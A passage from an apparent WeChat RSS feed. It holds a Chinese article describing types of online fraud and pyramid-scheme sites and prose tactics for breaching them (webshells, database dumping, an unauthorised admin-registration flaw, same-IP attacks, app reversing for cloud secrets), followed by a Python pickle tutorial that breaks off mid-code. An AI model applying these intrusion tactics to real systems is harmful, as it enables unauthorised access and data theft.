initial;"><span md-inline="plain" style="box-sizing: border-box;">该类诈骗往往以我认识了一位投资老师为开始，以投钱进入该股票投资软件而非正常股票交易软件为受骗过程，而以微信群解散为受害人发现被诈骗的原因。骗一单就走，微信群即刻解散，诈骗人员只主动添加受害人，不接受陌生人添加或搜索微信号，影响对嫌疑人的贴靠效果。</span></p><p cid="n59" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类案件的股票投资网站以php、java居多，通常为单个云服务器组成，网站与数据库往往架设在同一服务器上，可以通过获取网站shell后读取配置文件来脱裤。建议尽量快速提供受害人账号密码或邀请码，因为网站为防止攻击在注册时会采用邀请码验证，成功后才可注册账号进行后续功能测试。网站存活时间相对较长。</span></p><h5 cid="n60" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">杀猪盘诈骗</span></h5><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类诈骗形式及网站不统一，往往是以感情和发财为诱导使受害者将金钱投入到各类投资平台、刷单平台甚至赌博平台（部分受害人因参赌涉赌导致被骗资金追回存在定性上的困难）。</span></p><p cid="n62" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类站点同样因整个受骗周期较长、涉案金额较大，导致存在被骗一次就回本弃站的结果。待渗透的app通常为投资或刷单站点，少数为引流聊天软件</span></p><h5 cid="n63" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">贷款诈骗</span></h5><p cid="n64" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">诈骗形式为通过上传个人信息后系统显示贷款申请成功但资金冻结，以需要缴纳保证金去进行解冻，网站title常以市面流行互联网金融产品title为名，直接搜索相关title无法立即定位诈骗站点，需要受害人提供网站链接。</span></p><p cid="n65" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类站点此前以php和asp居多，且往往一个云服务器存在多个相同站进行诈骗，后台在子目录下，网站重复利用率高，弃站时间相对较长，某些曾大量使用的.net网站后台子目录下某接口存在未授权任意管理员注册。某使用php cms的贷款诈骗团伙喜欢用docker镜像搭建站点，拿到shell后可查看宝塔相关配置及后台路径，方便日后碰到重复利用</span></p><h5 cid="n66" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">刷单诈骗</span></h5><p cid="n67" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">刷单诈骗为诱骗受害人缴纳一定金额下订单获取返佣并在缴纳高额金额后停止返佣消失，是常见的引流推广诈骗形式，常见方式为引流至微信拉群喊单，少数大型团伙掺杂部分传销行为。</span></p><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">以php站点为主，较少数为java站点，网站功能简单，旁站较少，同样多数存在单个云服务器跑多个网站，可以批量找同ip站以拿到shell为目标一起搞。</span></p><h5 cid="n69" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">闲谈</span></h5><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">诈骗网站在一定时间段内往往采用相同cms和源码网站常见源码快速搭建（之间有少量版本差异），再快速弃站，需要根据特征快速发现网站源码和相同相似站点，累积形成诈骗网站漏洞库源码库，方便日后快速搞站，而app大多无实际功能，几乎等同于浏览器，但可逆向查看涉案网站url、api、请求参数、加密方式和云服务器secret票据等信息。</span></p><h4 cid="n71" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">数字货币传销</span></h4><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">较大规模的数字货币传销的站点涉及组织复杂，分布形式多为跨国多地、跨省多地。网站防护较高，团伙资金充沛且愿意为网络安全产品全家桶买单。子功能站点较多，包括首页新闻站、白皮书站、活动站（赌博站）、区块链浏览器、钱包站、交易所站点（交易所分为自己开发或交易量排名top20的加密货币交易所（按交易量排名的Top加密货币交易所 | CoinMarketCap），若组织存活时间较长则可能存在发布多个币种的可能性并存在两币之间交易互换专用站点。</span></p><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">数字货币团伙在境内外多以“合法”公司形式存在，技术架构新，目前赌博集团常用的的多因素后台验证方式都是学自数字货币团队。需要在信息收集方面占用较大侧重，尽量寻找其开发、测试、预上线、备份站点，找软柿子下手。因服务器多为云上内网，打点进入内网后可能需完全不使用扫描工具或扫描脚本。</span></p><h4 cid="n75" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">电商传销</span></h4><p cid="n76" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">电商传销实质为原本的线下卖货传销转为线上邮寄的方式，公司往往带有虚假的政府背景或虚假的政府部门背书，技术服务通常为采购国内合法的建站公司的全家桶式业务，并籍由合法公司背景采购国内安全厂商设备或安全服务。</span></p><p cid="n77" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">网站往往存在官网、商城站、活动站、各级代理后台等多个站点，可根据架构特点从安全产品入手渗透查看相关安全产品日志获取服务器信息，由于其伪造的合法背景，渗透风险较大，需要有关部门授权。由于网站和服务器实质控制权在建站公司手中，可对该建站公司进行渗透打点。</span></p><h4 cid="n78" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">游戏破解分发团伙</span></h4><p cid="n79" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">游戏破解团队的团伙分为两种：有独立交易分发平台的团伙和淘宝等电商交易平台两种</span></p><p cid="n80" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">淘宝等电商平台侧的商家可通过警方调取店家实名制姓名、联系方式、发货记录、交易流水等信息初步锁定团伙人员，之后通过得来的信息在我司账号体系侧进行信息收集，包括但不限于绑定账号、登录IP、抖店购买记录、wifi等信息进一步锁定嫌疑人并关联其团伙其他成员</span></p><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">对于使用独立分发平台，通过玩家社区、百度论坛、官方游戏群、邮件等方式引流的团伙，则使用各类手段对嫌疑人进行贴靠，包括但不限于以拿到管理员信息为目的的渗透、社工等方式。</span></p><p cid="n82" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">目前外挂、破解游戏团队极少使用破解分销一体的手段进行牟利，大多数游戏破解团队使用层层分销的形式对外挂进行售卖，所以外挂游戏侧的线下打击也要分两步走，首先对售卖平台的卖家团伙进行打击。其次，需要从落网的卖家侧关联外挂制作团队人员信息，并进一步进行摸排贴靠打击。</span></p>



<p><a href="2247483688">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3ffbcd0c&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483688%26idx%3D1%26sn%3Daf86cde5e101852af10974490ab30562">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Jun 2022 23:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Python pickle模块爬坑笔记</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483664&amp;idx=1&amp;sn=5e4edd520150b3932b6ece9f8380d279</link>
      <description>python 学习笔记</description>
      <content:encoded><![CDATA[<p>
<span>c0ffee</span> <span>2017-09-05 22:02</span> <span style="display: inline-block;"></span>
</p>

<p>python 学习笔记</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ed9b9856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCdey4PcNR7cgVnVsn056BYMEMcpQMK4rqzOgBTXia9lJcAOJFCP0mvLHg5ywkn9CvU3rmeCibaqzeNQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">    今天用python写了一个用户登录验证的小程序，算是对python面对对象编程的一个小练习,因为在做用户账户储存更新的过程中多次用到了pickle模块，也接触到了不少坑点，所以决定写下来，方便日后学习</span></p><p><span style="font-size: 14px;"><span style="font-size: 16px;">好了，闲话</span>不多说，开始今天的正题：</span></p><p><img data-s="300,640" data-type="jpeg" height="99" class="" data-ratio="1" data-w="150" style="width: 99px; height: 99px;" width="99" src="https://wechat2rss.xlab.app/img-proxy/?k=682633da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCdnkyGQfyWwN8R0jBkib115LdZ7b6KdlmhpgHQhqZe9pwLSZ6ibRicubzLOuaEAsfknqV9Woq6WSz4icg%2F0%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px; background-color: rgb(255, 215, 213);">python的pickle模块实现了基本的数据序列和反序列化。通过pickle模块的序列化操作我们能够将程序中运行的对象信息保存到文件中去，永久存储；通过pickle模块的反序列化操作，我们能够从文件中创建上一次程序保存的对象。</span></p><p><span style="font-size: 14px; background-color: rgb(255, 215, 213);">以上是对pickle模块的介绍，简单来说就是将文件对象交给pickle用load()或dump()函数对数据进行序列化和反序列化读写操作</span></p><p><strong><span style="font-size: 18px;">下面开始今天的爬坑之旅：</span></strong></p><p><span style="font-size: 16px;">第一个坑点出现在了用户的更新上面：</span></p><p><img data-s="300,640" data-type="png" data-w="838" class="" data-ratio="0.3031026252983294" src="https://wechat2rss.xlab.app/img-proxy/?k=068debe0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdey4PcNR7cgVnVsn056BYMiaqqhYhI3kgmSD5J36Rln3gbPJ3RBKHF9BUia8PYpkFIgLLVwEkMz40A%2F0%3Fwx_fmt%3Dpng"/></p><p>对用户数据进行更新后，用pickle.load()函数进行反序列化时只能读取到第一块数据，后面写入的数据无法读取，刚开始以为是python写入读取文件时的模式设置错误,后经多次实验发现问题出现在更新数据后，pickle会在末尾加上结束符，所以反序列化时当读取到结束符时，就停止读取后面的内容，认为文件已经读取完毕，解决方案如下：</p><p><img data-s="300,640" data-type="png" data-w="664" class="" data-ratio="0.3117469879518072" src="https://wechat2rss.xlab.app/img-proxy/?k=1a5cf451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdey4PcNR7cgVnVsn056BYMWPdjtPZdrfeQibEf9K97q1juWkSchQJmOx4Ya5ApohOWe7ueVxjcvOw%2F0%3Fwx_fmt%3Dpng"/></p><p>循环读取文件内容，直至程序抛出异常</p><p>第二个坑点是在用户登陆后对时间戳的更新上：</p><p><img data-s="300,640" data-type="png" data-w="914" class="" data-ratio="0.22647702407002188" src="https://wechat2rss.xlab.app/img-proxy/?k=0c86e20e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdey4PcNR7cgVnVsn056BYMHsqkQgW8aqZYrWpUEvKoGgLbdAia9skoBUOVoicRlzcxpbfIWzoDWXPQ%2F0%3Fwx_fmt%3Dpng"/></p><p>当更新时间戳后将数据再次写入文件，当第二次读取时，数据由列表变成了列表内嵌套一个列表，用原来的方式循环遍历数据时，提示报错，无法遍历，解决方案如下：</p><p><img data-s="300,640" data-type="png" data-w="776" class="" data-ratio="0.5992268041237113" src="https://wechat2rss.xlab.app/img-proxy/?k=88200d85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdey4PcNR7cgVnVsn056BYMuao1QNWaK30GmgMGXkwSJIxMyib5OEtNl7bRqribCViaIHvXGIncKMetA%2F0%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 18px;">完整的程序代码如下：</span></p><p style="background: rgb(64, 64, 64) none repeat scroll 0% 0%;"><span style="font-size: 12px;"><span style="color: rgb(255, 102, 102); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">#!/usr/bin/env python# -*- coding: utf-8 -*-</span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">import </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">time</span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">import </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">pickle</span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">class </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">Database</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">object</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">def </span></strong><strong><span style="color: rgb(131, 214, 241); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">__init__</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, name, passwd</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">name        </span><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">passwd        </span><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.flag </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">False    </span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">def </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">update</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, name, passwd</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">name        </span><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">passwd        </span><span style="color: rgb(148, 85, 